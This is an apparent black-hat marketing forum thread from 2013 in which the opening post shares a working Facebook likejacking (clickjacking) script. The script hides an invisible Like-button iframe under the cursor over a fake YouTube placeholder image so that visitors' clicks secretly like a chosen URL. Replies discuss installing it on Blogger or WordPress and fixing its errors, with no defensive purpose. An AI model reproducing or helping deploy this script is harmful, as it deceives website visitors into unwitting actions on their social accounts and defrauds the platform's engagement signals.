1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Facebook LikeJacking/ClickJacking Script

Discussion in 'FaceBook' started by alienacademy, Nov 5, 2013.

  1. alienacademy

    alienacademy Jr. VIP Jr. VIP Premium Member

    Joined:
    Jan 30, 2013
    Messages:
    900
    Likes Received:
    426
    Occupation:
    Enjoying IM
    Location:
    BHW
    Hey Guys,
    I found a ClickJacking Script. It seems good but don't know how to use it on blogger.
    It would be good if anyone help me to setup this. Please.
    Thanks

    Script:
    Code:
    <script type="text/javascript">
    
      // Put here the url to like, use document.location.href to use current url.
      var sUrlToLike = 'http://www.site.com/your-url-to-like';
      // An image to use to replace the YouTube video before the user clicks on it.
      var sImageToUse = 'http://www.site.com/image-to-use-before-video-gets-loaded.png';
    
      var oYouTubeFrame = $('iframe[src*="youtube.com/embed/"]');
      var aMatches      = oYouTubeFrame.attr('src').match( /^.+embed\/(.+)/ );
    
      if( aMatches )
      {
        var sInstanceId         = 'lj' + ( new Date() ).getTime();
        var oActiveElement      = undefined;
        var oInterval           = undefined;
        var oRemoveInterval  = undefined;
        var oImage           = $( '<img src="' + sImageToUse + '" width="560" height="315"/>' );
        var oInvisibleDiv       = $( '<div/>' );
        var oIFrame          = $( '<iframe id="' + sInstanceId + '"></iframe>' );
        var sVideoCode          = aMatches[1];
        var bDone            = false;
        var iX = 0;
        var iY = 0;
    
        oYouTubeFrame.hide().after( oImage );
    
        oInterval = setInterval( function()
        {
          oActiveElement = $( document.activeElement );
    
          if( oActiveElement.attr('id') == sInstanceId && bDone == false )
          {
            oImage.remove();
    
            oYouTubeFrame
            .attr( 'src', 'http://www.youtube.com/embed/' + sVideoCode + '?autoplay=1' )
            .show();
    
            bDone = true;
            oRemoveInterval = setInterval( function()
            {
              oInvisibleDiv.remove();
    
              clearInterval( oRemoveInterval );
              clearInterval( oInterval );
            },
            1000 );
          }
        },
        50 );
    
        oInvisibleDiv.css
        ({
          border     : 0,
          width      : '2px',
          height     : '2px',
          position   : 'absolute',
          background : '#000'
        });
    
        oIFrame.css
        ({
          border   : 0,
          width    : '2px',
          height   : '2px',
          margin   : 0,
          padding  : 0,
          position : 'absolute'
        })
        .attr( 'scrolling',   'no' )
        .attr( 'frameborder', 'no' )
        .attr( 'src',         'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent( sUrlToLike ) + '&show_faces=false' )
        .appendTo( oInvisibleDiv );
    
        oInvisibleDiv.appendTo('body');
    
        $('body').mousemove( function(e)
        {
          iX = e.pageX;
          iY = e.pageY;
    
          oInvisibleDiv.css
          ({
            left : ( e.pageX - 1 ) + 'px',
            top  : ( e.pageY - 1 ) + 'px'
          });
        });
      }
    
    </script>
     
    • Thanks Thanks x 1
  2. Empire007

    Empire007 Regular Member

    Joined:
    Jul 22, 2012
    Messages:
    426
    Likes Received:
    67
    I was just looking for this too. Sadly i dont know how to set this up to. Would preferably want to use it on HTML. hope it wont get the page banned ???
     
  3. kainth56

    kainth56 Registered Member

    Joined:
    Jul 23, 2009
    Messages:
    70
    Likes Received:
    45
    go to dashboard in blogger check out then layout. Click on add a gadget and then HTML/javascript. This will open a dialog box enter your script here and save. Test and go ahead.
     
  4. alienacademy

    alienacademy Jr. VIP Jr. VIP Premium Member

    Joined:
    Jan 30, 2013
    Messages:
    900
    Likes Received:
    426
    Occupation:
    Enjoying IM
    Location:
    BHW
    Dude I am not that much newbie. Actually its giving some errors in html when I try to save. If you added it successfully so please pm me.
     
  5. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    OMG - posting it public - you sir are a COMPLETE n00b
     
  6. alienacademy

    alienacademy Jr. VIP Jr. VIP Premium Member

    Joined:
    Jan 30, 2013
    Messages:
    900
    Likes Received:
    426
    Occupation:
    Enjoying IM
    Location:
    BHW
    You are here from 2010 but its looks to me you are NOOBer than any other member here. The script is already for public use. And its not the first script posted here.
     
    • Thanks Thanks x 1
  7. lmxftw

    lmxftw BANNED BANNED

    Joined:
    Mar 11, 2013
    Messages:
    1,010
    Likes Received:
    1,179
    buy a domain and get some free hosting... i know how to set it up on blogger ... 100$ and i'll tell you :)

    buying a domain and some shared hosting sounds cool now right ?
     
  8. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    Yah right - and I'm the noobiest :D
     
  9. umerjutt00

    umerjutt00 Jr. VIP Jr. VIP Premium Member

    Joined:
    Oct 28, 2011
    Messages:
    3,649
    Likes Received:
    1,908
    Occupation:
    Ninja
    Go to blogger blog > Template > scroll down > switch to classic template > Remove everything and add that javascript...click on save template.

    Edit: I added that script and getting error: "$ is not defined. Syntax Error".
     
    Last edited: Nov 5, 2013
  10. lmxftw

    lmxftw BANNED BANNED

    Joined:
    Mar 11, 2013
    Messages:
    1,010
    Likes Received:
    1,179
    you owe me 100$

     
    • Thanks Thanks x 1
  11. zx123

    zx123 Senior Member

    Joined:
    Feb 26, 2009
    Messages:
    1,158
    Likes Received:
    875
    Home Page:
    This is only the javascript! The OP not posted also the other part of the code... So f.&% you and resolve your problem alone
     
  12. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    Most probably because he couldn't figure out what the other part is or what belongs to this script to work at all ^^
     
  13. d4mn1t

    d4mn1t Newbie

    Joined:
    Feb 15, 2012
    Messages:
    18
    Likes Received:
    5
    You guys are unbelievable none of you know how these scripts work but are arguing about di*** size :) you won't change anything by posting working script because small part of people will integrate them
     
  14. Spawnie

    Spawnie Power Member

    Joined:
    Feb 1, 2010
    Messages:
    716
    Likes Received:
    290
    Oh - I know that very well...
    It just pisses me off when some scriptkid is posting scripts (or part of scripts) publicly on BHW they happend to 'find somewhere' to ruin the methods of other users with more knowledge that use them for some time already...

    I'm not using the above mentioned script on my own - its just pissing me off in general.
    I think I remember a time when users got banned for posting stuff like this in public.
     
  15. alienacademy

    alienacademy Jr. VIP Jr. VIP Premium Member

    Joined:
    Jan 30, 2013
    Messages:
    900
    Likes Received:
    426
    Occupation:
    Enjoying IM
    Location:
    BHW
    So many retard peoples here....
    First of all that is the full part I got from the website.
    Second Its not a big fucking secret, the script is already listed on www.emoticode.net
    So the script is not made by me so just shut your mouth if its giving you any error because I am already fucking retard of these errors.
     
  16. Izatrap

    Izatrap Registered Member

    Joined:
    Mar 29, 2013
    Messages:
    60
    Likes Received:
    2
    +1

    The script have been public since april ..
     
  17. localkingcharan

    localkingcharan Newbie

    Joined:
    May 26, 2012
    Messages:
    4
    Likes Received:
    0
    can anyone say how to use this script !
    I got the front end script (.php)
     
  18. moneycn

    moneycn Newbie

    Joined:
    Aug 24, 2012
    Messages:
    3
    Likes Received:
    0
    I wanna know 2..
     
  19. Maxell

    Maxell Regular Member

    Joined:
    May 10, 2007
    Messages:
    456
    Likes Received:
    563
    LIKE is useless bro, soon as you cross 100-200 likes quickly they show "confirm" button and you cannot bypass it..
     
  20. ConstantinBz

    ConstantinBz Newbie

    Joined:
    Jul 18, 2016
    Messages:
    1
    Likes Received:
    0
    Gender:
    Male
    wordpress?